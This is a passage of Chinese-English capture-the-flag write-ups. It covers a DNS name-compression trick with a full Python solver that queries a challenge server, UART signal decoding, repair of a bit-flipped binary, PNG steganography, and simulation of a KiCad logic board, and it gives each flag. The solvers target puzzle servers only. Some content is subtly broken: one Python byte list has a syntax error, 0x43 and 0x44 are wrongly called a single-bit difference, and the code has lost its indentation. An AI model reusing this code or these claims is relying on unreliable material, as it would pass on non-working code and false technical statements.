[3] 'w' 'w' 'w' [7] 'e' 'x' 'a' 'm' 'p' 'l' 'e' [3] 'c' 'o' 'm' [0]
↑3字节 ↑7字节 ↑3字节 ↑结束符

记这个编码方式,后面解压缩要用到。

3. DNS 名称压缩

同一个域名后缀会在一个消息里反复出现(问题区一个、回答区可能好几个)。每次都完整编码很浪费空间。

解决方案:用 2 字节的指针代替重复标签。

指针怎么和标签区分?标签长度字节的高 2 位是标识位:

高 2 位 含义
00 普通标签(长度 0-63)
11 压缩指针

普通标签最长 63 字节,二进制 00111111,高两位永远 00。所以用 11 做指针标识不会混淆。

指针格式:

1
2
3
4
 1  1 | 14-bit OFFSET
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| 1 1| OFFSET |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

高 2 位 = 11 → 第一字节 ≥ 192 (0xC0) 低 14 位 = 从消息开头算起的偏移量

举例:0xC0 0x0C - 0xC0 = 11000000 → 是指针 - 低 14 位 = 12 → 指向消息偏移 12 的位置

域名可以部分用标签、部分用指针拼接:

FOO.example.com 如果 .example.com 已经在前面出现过:

1
2
[3] 'F' 'O' 'O'  +  [指针指向.example.com的位置]
↑新标签 ↑复用的是后面的所有标签

甚至可以整个域名只用一个指针指向之前出现过的相同域名。

4. 一个消息可以问多个问题吗?

可以。QDCOUNT 字段可以大于 1。

不过传统 DNS 服务器通常不支持(RFC 9619 甚至禁止了),但自定义 DNS 服务器可以自己处理。这题的服务端就支持。

5. TCP 也能跑 DNS

常规 DNS 用 UDP 端口 53,但 TCP 也行。

UDP TCP
消息前缀 无 2 字节长度(大端)+ 消息体
大小限制 512 字节传统上限 无实际限制
使用场景 普通查询 大响应、zone transfer

TCP 传输时:先发 2 字节告诉我们接下来有多少字节的 DNS 消息,再发消息体。


Challenge Overview

题目给了一个自定义 DNS 服务器(监听 TCP),每次连接生成一个 819 字符的随机 secret。

服务器接受两种 TXT 记录查询:

  1. 单字符查询:查 <N>.inside.info(N 是 0~818)→ 返回第 N 位的字符
  2. 完整 secret 查询:查 完整secret(用点分63字符块).inside.info → 返回 flag

限制:每个连接只能发 2 次 DNS 查询,新连接生成全新 secret。

分析

要拿到 819 个字符,但只许问 2 次。意味着第一次查询要一次性提取全部字符。

每次查一个(0.inside.info → 拿字符 0,1.inside.info → 拿字符 1...)如果每个都单独发一次查询,需要 819 次,显然不行。

思路

利用 QDCOUNT > 1,把 819 个问题全部放入一个 DNS 消息:

1
2
3
4
5
一条消息里:
Question 0: 0.inside.info → TXT
Question 1: 1.inside.info → TXT
...
Question 818: 818.inside.info → TXT

服务端收到 QDCOUNT=819,逐个回答,一次返回 819 个字符。

如果不压缩,每个 question: - 0.inside.info 的域名编码 ≈ 16 字节 - QTYPE(2) + QCLASS(2) = 4 字节 - 共 ≈ 20 字节

819 × 20 = 16,380 字节 → 太大了。

819 个 question 共享同一个后缀 .inside.info。

把 .inside.info 的完整标签编码放在消息末尾,每个 question 用2 字节指针指向它:

1
2
3
4
5
6
7
未压缩的 0.inside.info:
[1] '0' [6] 'i' 'n' 's' 'i' 'd' 'e' [4] 'i' 'n' 'f' 'o' [0]
↑每次都重复这堆

压缩后的 0.inside.info:
[1] '0' + [2字节指针 → .inside.info] + [QTYPE][QCLASS]
↑只编数字 ↑指向消息末尾的共享后缀 ↑4字节

每个 question 从 ~20 字节压缩到 ~7 字节。

819 × 7 ≈ 5,700 字节,TCP 消息完全装得下。

攻击流程

Query 1(塞入 819 个压缩 question):

1
2
3
4
5
6
Header: QDCOUNT=819
Question 0: [1]'0' + [指针→.inside.info] + TXT/IN
Question 1: [1]'1' + [指针→.inside.info] + TXT/IN
...
Question 818: [3]'818' + [指针→.inside.info] + TXT/IN
[消息末尾]: 完整的 .inside.info 标签编码 ← 指针指向这里

服务器回复 819 条 TXT 记录,每条一个字符。拼接出完整 secret。

Query 2:查 完整secret.inside.info → 拿到 flag。

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import struct
import socket

def build_compressed_question(num_bytes, suffix_offset):
"""构造一个压缩 question: [数字标签] + [2字节指针→后缀] + [QTYPE][QCLASS]"""
buf = bytes([len(num_bytes)]) + num_bytes # 标签:长度 + 内容
buf += struct.pack('!H', 0xC000 | suffix_offset) # 指针:指向共享后缀
buf += struct.pack('!HH', 16, 1) # QTYPE=TXT, QCLASS=IN
return buf

def read_dns_name(data, pos):
"""跳过 DNS 域名(可能含压缩指针),返回下一个字段的起始位置"""
while pos < len(data):
b = data[pos]
if b == 0: # 结束符
return pos + 1
if (b & 0xC0) == 0xC0: # 压缩指针,占 2 字节
return pos + 2
pos += 1 + b # 普通标签:1字节长度 + N字节内容
return pos

# --- Query 1: 提取全部 819 个字符 ---

# 先构建所有 question(用占位偏移 0)
questions_placeholder = b''
for i in range(819):
num = str(i).encode()
questions_placeholder += build_compressed_question(num, 0)

# 计算共享后缀 .inside.info 的偏移位置(在 question 区之后)
suffix_offset = 12 + len(questions_placeholder)
suffix_encoding = b'\x06inside\x04info\x00'

# 用真实偏移重新构建 question
questions = b''
for i in range(819):
num = str(i).encode()
questions += build_compressed_question(num, suffix_offset)

# 把后缀编码追加到末尾
questions += suffix_encoding

# 组装 DNS 消息
dns_header = struct.pack('!HHHHHH', 0x1337, 0x0100, 819, 0, 0, 0)
packet = dns_header + questions

# TCP 发送(2 字节长度前缀)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('challenge.umdctf.io', 31337))
sock.send(struct.pack('!H', len(packet)) + packet)

# TCP 接收(先读 2 字节长度,再读取消息体)
resp_len = struct.unpack('!H', sock.recv(2))[0]
resp = b''
while len(resp) < resp_len:
chunk = sock.recv(resp_len - len(resp))
if not chunk:
break
resp += chunk

# 从响应中解析 819 个 TXT 记录,提取每个字符
pos = 12 # 跳过 DNS header
# 跳过 question 区(服务端在响应里回显了所有 question)
for _ in range(819):
pos = read_dns_name(resp, pos)
pos += 4 # QTYPE + QCLASS

# 解析 answer 区
secret_chars = []
for _ in range(819):
pos = read_dns_name(resp, pos) # NAME
rtype, rclass, ttl, rdlen = struct.unpack('!HHIH', resp[pos:pos+10])
pos += 10
if rtype == 16: # TXT 记录
txt_len = resp[pos] # TXT 的第一个字节是字符串长度
char = resp[pos+1:pos+1+txt_len].decode()
secret_chars.append(char)
pos += rdlen

secret = ''.join(secret_chars)

# --- Query 2: 拿 flag ---
# secret 分成 63 字符的块(DNS 标签长度上限)
chunks = [secret[i:i+63] for i in range(0, len(secret), 63)]
full_name = '.'.join(chunks) + '.inside.info'

# 编码完整域名 + question
qname = b''
for part in full_name.split('.'):
qname += bytes([len(part)]) + part.encode()
qname += b'\x00'
flag_question = qname + struct.pack('!HH', 16, 1)
flag_header = struct.pack('!HHHHHH', 0x1338, 0x0100, 1, 0, 0, 0)
flag_packet = flag_header + flag_question

sock.send(struct.pack('!H', len(flag_packet)) + flag_packet)
# 解析 flag... (与上面类似的 TXT 解析逻辑)
sock.close()

关键点总结

概念 在这道题里的作用
QDCOUNT > 1 一个消息塞 819 个问题,一次拿到全部字符
名称压缩(指针) 每个 question 共享 .inside.info 后缀,大小从 20 字节降到 7 字节
TCP 传输 消息太大放不进 UDP,用 TCP 的 2 字节长度前缀可靠传输
TXT 记录 服务器用 TXT 返回单字符,1 字节长度前缀 + 1 字节字符

Flag

UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}

我们从建筑大师工作室截获了一个信号。看起来有人在和一个定制的乐高控制器通信,但我们捕捉到的只有这些原始数据。你能拼凑出信息吗?

Hint 1 This kind of communication is widely used, especially for older I/O devices and connectors. 这种通信方式应用广泛,尤其适用于老式 I/O 设备和连接器。

Hint 2 Every message starts with a falling edge. Have you tried PulseView? 每条信息都以下降沿开始。您试过 PulseView 吗?

Hint 3 UART, 8N1. You just need to figure out the baud rate. UART,8N1。你只需计算出波特率。

Initial Analysis

This challenge involves decoding a UART signal captured as raw logic levels in a CSV file. The provided code.csv contains two columns: timestamp and logic_level.

  • Initial Inspection: The logic level is mostly 1 (Idle high), which is characteristic of UART.
  • Pulse Width Analysis: By calculating the time between transitions, we find that the minimum pulse duration is approximately 2.996e-05 seconds.
  • Baud Rate Calculation: \[\text{Baud Rate} = \frac{1}{\text{Bit Duration}} \approx \frac{1}{2.996 \times 10^{-5}} \approx 33377 \text{ baud}\] However, looking at the sample counts, the transitions align perfectly with the sample intervals, suggesting the data was sampled exactly at the bit rate (1 sample per bit).

Solution

Based on Hint 3 (UART, 8N1): - Start Bit: A falling edge (1 to 0). - Data Bits: 8 bits following the start bit (Least Significant Bit first). - Stop Bit: 1 bit of high level (1).

By implementing a Python script to parse these transitions, we can extract the byte stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pandas as pd

df = pd.read_csv('code.csv')
levels = df['logic_level'].values
i = 0
decoded = []

while i < len(levels):
if levels[i] == 1: # Wait for start bit
i += 1
continue

if i + 9 >= len(levels): break

# 8 data bits (LSB first)
byte_val = 0
for bit_idx in range(8):
if levels[i + 1 + bit_idx]:
byte_val |= (1 << bit_idx)
decoded.append(byte_val)
i += 10 # Move past start + 8 data + 1 stop bit

The decoded output reveals a Linux kernel boot log. Searching through the log, a specific line stands out: [ 0.037500] secretflag: 554d4153537b553452375f31355f3768335f623335372c5f72316768373f7d

Converting this Hex string to ASCII: 55 4d 41 53 53 7b 55 34 52 37 5f 31 35 5f 37 68 33 5f 62 33 35 37 2c 5f 72 31 67 68 37 3f 7d \(\rightarrow\) UMASS{U4R7_15_7h3_b357,_r1gh7?}

Flag

UMASS{U4R7_15_7h3_b357,_r1gh7?}

Batman's new state-of-the-art AI agent has deleted all of the source code to the Batcave license verification program! There's an old debug version lying around, but that thing has been hit by more cosmic rays than Superman!

蝙蝠侠的新型先进人工智能代理删除了蝙蝠洞许可证验证程序的所有源代码!虽然还有一个旧的调试版本,但那东西被宇宙射线击中的次数比超人还多!

Hint 1 BatAI estimates there are 3 bugs (BatAI 估计有 3 个错误)

Hint 2 Rotation rotation rotation! (旋转 旋转)

Hint 3 Something about that SBOX seems off... (SBOX 似乎有些不对劲...)

Initial Analysis

The "Batcave Bitflips" challenge involves a binary that performs a custom hashing algorithm on a user-provided license key and compares the result to a hardcoded 32-byte hash. If the hashes match, the binary uses the key to "decrypt" the flag. However, as the name and hints suggest, the binary is riddled with three "bit-flip" bugs that corrupt its logic.

1. Analysis of main

The main function (0x169f) follows a standard license check pattern: 1. Prompts for a 33-byte license key. 2. Calls hash(input, buffer) to generate a 256-bit (32-byte) digest. 3. Calls verify(buffer), which compares the digest to a global array named EXPECTED (at 0x4040). 4. If successful, calls decrypt_flag(buffer) and prints the FLAG global (at 0x4060).

2. Identifying the 3 Bugs

Bug 1: The Decryption Logic (decrypt_flag) The decrypt_flag function (0x12a6) is intended to decrypt the flag using the successful hash. Standard encryption/decryption uses XOR, but the decompiled code shows: - Code: FLAG[i] |= *(_BYTE *)(i % 32 + a1); - Disassembly (0x12ec): 09 c1 (OR ECX, EAX) The bit-flip changed an XOR (31 c1) into an OR (09 c1).

Bug 2: The Rotation Logic (rotate) In a standard 8-bit rotation, the sum of the left and right shifts must be 8. - Decompilation: *result = (*result >> 6) | (8 * *result); - Analysis: 8 * *result is equivalent to *result << 3. A shift of 3 combined with a shift of 6 is not a valid rotation. - The Flip: The SIB byte in the lea instruction at 0x1275 is 0xc5 (Scale 8). If the bit-flip occurred here, changing 0xc5 to 0x85 (Scale 4), the instruction becomes x << 2. Combined with shr 6, this forms a proper 2-bit rotation.

Bug 3: The SBOX Data (SBOX) The substitute function uses a global SBOX table (0x4080). Analysis reveals: - Duplicate: The value 0x43 appears at both index 24 and index 92. - Missing: The value 0x44 is entirely missing from the table. This single-bit difference (0x43 vs 0x44) in the data segment is the third bug.

Solution

While we could patch the binary to fix the bugs and attempt to reverse the custom hash, there is a much faster path. The main function logic implies that if we provide the "correct" license key, the resulting hash will be equal to the EXPECTED bytes. Since the decrypt_flag function (if fixed) would simply XOR the FLAG bytes with the successful hash, we can perform this operation manually.

Target Hash (EXPECTED @ 0x4040): 3b 54 75 1a 24 06 af 05 77 80 47 c5 e4 83 d3 48 cb 87 30 de 1a 91 45 ab 15 c7 9b 22 04 02 2b ee

Encrypted Flag (FLAG @ 0x4060): 6e 19 34 49 77 7d f0 5a 07 b4 33 a6 8c e6 e6 17 fb e9 6f ae 2e e5 26 c3 70 e3 c4 7d 27 7f 2b 00

1
2
3
4
expected = [0x3b, 0x54, 0x75, 0x1a, 0x24, 0x06, 0xaf, 0x05, 0x77, 0x80, 0x47, 0xc5, 0xe4, 0x83, 0xd3, 0x48, 0xcb, 0x87, 0x30, 0xde, 0x1a, 0x91, 0x45, 0xab, 0x15, 0xc7, 0x9b, 0x22, 0x04, 0x02, 0x2b, 0xee]
flag_enc = [0x6e, 0x19, 0x34, 0x49, 0x77, 0x7d, 0xf0, 0x5a, 0x07, 0xb4, 0x33, 0xa6, 0x8c, 0xe6, 0xe6, 0x17, 0xfb, 0xe9, 0x6f, 0xae, 2e e5, 0x26, 0xc3, 0x70, 0xe3, 0xc4, 0x7d, 0x27, 0x7f, 0x2b, 0x00]

print("".join(chr(e ^ f) for e, f in zip(expected, flag_enc)))

Flag

UMASS{p4tche5_0n_p4tche$#}

where are your little ninja-nerds?

Initial Analysis

The challenge provided a single image file: challenge.png. Initial investigation focused on gathering basic information about the file and its metadata.

  • File Type: Standard PNG image (640x360).
  • Metadata: exiftool showed no unusual comments or hidden fields.
  • Strings: Running strings did not reveal the flag in plain text, suggesting it was encoded or hidden within the pixel data.
  • Embedded Files: binwalk did not detect any appended files (like zips or other images).

Given that the file appeared to be a clean PNG with no obvious trailing data or metadata tricks, I suspected LSB (Least Significant Bit) Steganography. This technique hides data by slightly modifying the last bit of color values (Red, Green, or Blue), which is invisible to the human eye.

Solution

To extract the hidden data, we can either use automated tools or a custom script to parse the LSBs from each color plane.

1. Automated Approach

Using zsteg, we can quickly scan for common LSB patterns:

1
zsteg -E "b1,b,lsb,xy" challenge.png | strings | grep "UMASS{"

2. Manual Extraction Script

Alternatively, using the Pillow library in Python allows for precise extraction from specific color channels.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import PIL.Image

def extract_lsb(image_path):
img = PIL.Image.open(image_path)
pixels = img.load()
width, height = img.size

# Check Red (0), Green (1), and Blue (2) planes
for plane in range(3):
lsb_data = bytearray()
current_byte = 0
bit_count = 0
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
bit = pixel[plane] & 1 # Extract LSB
current_byte = (current_byte << 1) | bit
bit_count += 1
if bit_count == 8:
lsb_data.append(current_byte)
current_byte = 0
bit_count = 0

if b"UMASS{" in lsb_data:
print(f"Found flag in Plane {plane}!")
# Logic to print the found string...

Running the extraction against the color planes reveals that the flag is hidden in the Blue channel (Plane 2).

Flag

UMASS{perfectly-hidden-ready-to-strike}

I managed to get my hands on a design files from LEGO HQ. Apparently it is the design for the new Smart Brick v2. I want to analyze it but I don't have the hardware to do so. Can you help me figure out what it does?? 我设法从乐高总部拿到了一份设计文件。我想对它进行分析,但我没有分析所需的硬件。你能帮我弄明白它是做什么的吗?

Hint 1: I think I have seen that file format before on an popular open-source eCAD software but I can't remember which one... (我好像在一款流行的开源 eCAD 软件上见过这种文件格式,但记不清是哪一款了) Hint 2: Hmmm... there seem to be 7 inputs, I wonder what encoding uses only 7 bits? (嗯......似乎有 7 个输入,我想知道什么编码只使用 7 位?) Hint 3: I found a great python library to interact with this file programmatically: kiutils (我发现了一个很棒的 Python 库,可以通过编程与该文件交互:kiutils)

Initial Analysis

The challenge provides a KiCad PCB design file (smart-brick-v2.kicad_pcb) and asks to analyze it to discover its function. Hints suggest that the board uses a 7-bit encoding (ASCII) and points toward the kiutils Python library for programmatic analysis.

Opening the file or inspecting the raw text reveals it is a KiCad 9.0 board file. Key features identified:

  • Inputs: 7 nets labeled /IN0 through /IN6. This confirms the hint about 7-bit encoding (ASCII).
  • Outputs: 19 LEDs (D1–D19) driven by 19 MOSFETs (Q1–Q19).
  • Logic: A large array of 74LS series discrete logic gates (AND, NAND, OR, NOR, XOR, NOT).

The circuit is a combinational logic "decoder" where each LED represents a character in the flag. An LED will light up if the 7-bit input matches a specific character programmed into the logic gates for that stage.

Solution

To solve this without physical hardware or a manual schematic trace, we can automate the logic extraction and simulation using Python.

1. Technical Approach

Step 1: Parsing the PCB Using the kiutils library, we extract all footprints, their values (e.g., 74LS00), and the nets connected to their pins.

Step 2: Mapping Logic Gates Each 74LS chip contains multiple gates. For example: - 74LS00: Quad 2-input NAND. - 74LS08: Quad 2-input AND. - 74LS86: Quad 2-input XOR. - 74LS21: Dual 4-input AND.

We build a dependency graph where each net's value is determined by the boolean operation of its input nets.

Step 3: Simulation Since there are only 128 possible values for a 7-bit input (ASCII 0–127), we can brute-force the inputs for each of the 19 output stages. For each character c from 0 to 127, we propagate the values through the logic gate graph and check which MOSFET gates (Q1–Q19) are pulled HIGH.

2. Execution

The simulation reveals that each LED corresponds to exactly one ASCII character:

LED Hex Char LED Hex Char
D1 0x55 U D11 0x68 h
D2 0x4D M D12 0x33 3
D3 0x41 A D13 0x5F _
D4 0x53 S D14 0x47 G
D5 0x53 S D15 0x34 4
D6 0x7B { D16 0x74 t
D7 0x49 I D17 0x33 3
D8 0x6E n D18 0x73 s
D9 0x5F _ D19 0x7D }
D10 0x54 T

3. Simulation Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import re
from kiutils.board import Board

def get_logic():
board = Board.from_file('smart-brick-v2.kicad_pcb')

# Map components by reference
components = {}
for fp in board.footprints:
ref = fp.properties.get('Reference', '')
val = fp.properties.get('Value', '')

pins = {}
for pad in fp.pads:
if pad.net:
pins[pad.number] = pad.net.name

components[ref] = {
'value': val,
'pins': pins
}

# Define gate logic
# (inputs, output)
gate_defs = {
'74LS00': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # NAND
'74LS02': [(('2', '3'), '1'), (('5', '6'), '4'), (('8', '9'), '10'), (('11', '12'), '13')], # NOR
'74LS04': [(('1',), '2'), (('3',), '4'), (('5',), '6'), (('9',), '8'), (('11',), '10'), (('13',), '12')], # NOT
'74LS08': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # AND
'74LS20': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # NAND 4
'74LS21': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # AND 4
'74LS27': [(('1', '2', '13'), '12'), (('3', '4', '5'), '6'), (('9', '10', '11'), '8')], # NOR 3
'74LS32': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # OR
'74LS86': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # XOR
}

# Build the net dependency graph
net_logic = {}

for ref, comp in components.items():
val = comp['value']
if val in gate_defs:
for inputs, output in gate_defs[val]:
if output in comp['pins']:
out_net = comp['pins'][output]
in_nets = [comp['pins'][i] for i in inputs if i in comp['pins']]
if len(in_nets) == len(inputs):
op = val[4:] # 00, 02, etc.
net_logic[out_net] = (op, in_nets)

# MOSFET gates driving LEDs
led_nets = []
for i in range(1, 20):
ref = f'Q{i}'
if ref in components:
if '1' in components[ref]['pins']:
led_nets.append(components[ref]['pins']['1'])

# Simulation function
def simulate(inputs_bits):
vals = {f'/IN{i}': inputs_bits[i] for i in range(7)}
vals['GND'] = False
vals['+5V'] = True

memo = {}
def get_val(net):
if net in vals: return vals[net]
if net in memo: return memo[net]
if net not in net_logic: return False

op, ins = net_logic[net]
in_vals = [get_val(i) for i in ins]

if op == '00': return not (in_vals[0] and in_vals[1])
elif op == '02': return not (in_vals[0] or in_vals[1])
elif op == '04': return not in_vals[0]
elif op == '08': return in_vals[0] and in_vals[1]
elif op == '20': return not all(in_vals)
elif op == '21': return all(in_vals)
elif op == '27': return not any(in_vals)
elif op == '32': return any(in_vals)
elif op == '86': return in_vals[0] ^ in_vals[1]
else: return False

memo[net] = res
return res

return [get_val(ln) for ln in led_nets]

# Brute force 7-bit ASCII
for i in range(19):
print(f"LED {i+1}: ", end='')
for code in range(128):
bits = [(code >> j) & 1 == 1 for j in range(7)]
outputs = simulate(bits)
if outputs[i]:
print(f"'{chr(code)}' (0x{code:02x})", end=' ')
print()

get_logic()

Flag

UMASS{In_Th3_G4t3s}